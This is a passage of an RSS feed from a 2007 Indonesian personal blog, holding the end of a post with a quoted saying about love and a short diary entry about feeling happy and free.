CAHAYA YG TERANG..&#8221;. Lg juga bagaimana<br />
kita bs menjadi manusia benar, jikalau<br />
saja kita tdk prnah berbuat kesalahan.</p>
	<p>Agnes Monica pernah berfilosofi<br />
bijak bhw &#8220;CINTA SEJATI ADALAH MENCINTAI<br />
SESEORANG YG TIDAK SEMPURNA DGN JALAN /<br />
CARA YG SEMPURNA..&#8221;.</p>
	<p>Thx bwt yg sudah baca bulletin ini..<br />
salam persahabatan dariku..^_^
</p>
]]></content:encoded>
			<wfw:commentRss>http://sherayusuf.blogsome.com/2007/09/06/di-kutip-dari-seorang-teman/feed/</wfw:commentRss>
	</item>
		<item>
		<title>Just pOsT mysElf</title>
		<link>http://sherayusuf.blogsome.com/2007/09/01/just-post-myself/</link>
		<comments>http://sherayusuf.blogsome.com/2007/09/01/just-post-myself/#comments</comments>
		<pubDate>Sat, 01 Sep 2007 04:57:21 +0000</pubDate>
		<dc:creator>sherayusuf</dc:creator>
		
	<category>My Diary Activity</category>
		<guid>http://sherayusuf.blogsome.com/2007/09/01/just-post-myself/</guid>
		<description><![CDATA[	gw sekarang sadar, gak satupun orang yang ada di hati gw sekarang
semuanya sama, mereka hanya sebatas teman biasa gak lebih dan g kurang
hidup gw l;ebih indah dan bahagia, tak satupun orang yang ngeganggu gw
gw bebas ngelakuin apa yang gw mau&#8230;hhaaaaaahhh hidupku indah sekarang
gwe bahagia bangettt&#8230;thnk god that u power  give to me

]]></description>
			<content:encoded><![CDATA[	<p>gw sekarang sadar, gak satupun orang yang ada di hati gw sekarang<br />
semuanya sama, mereka hanya sebatas teman biasa gak lebih dan g kurang<br />
hidup gw l;ebih indah dan bahagia, tak satupun orang yang ngeganggu gw<br />
gw bebas ngelakuin apa yang gw mau&#8230;hhaaaaaahhh hidupku indah sekarang<br />
gwe bahagia bangettt&#8230;thnk god that u power  give to me
</p>
]]></content:encoded>
			<wfw:commentRss>http://sherayusuf.blogsome.com/2007/09/01/just-post-myself/feed/</wfw:commentRss>
	</item>
	</channel>
</rss>
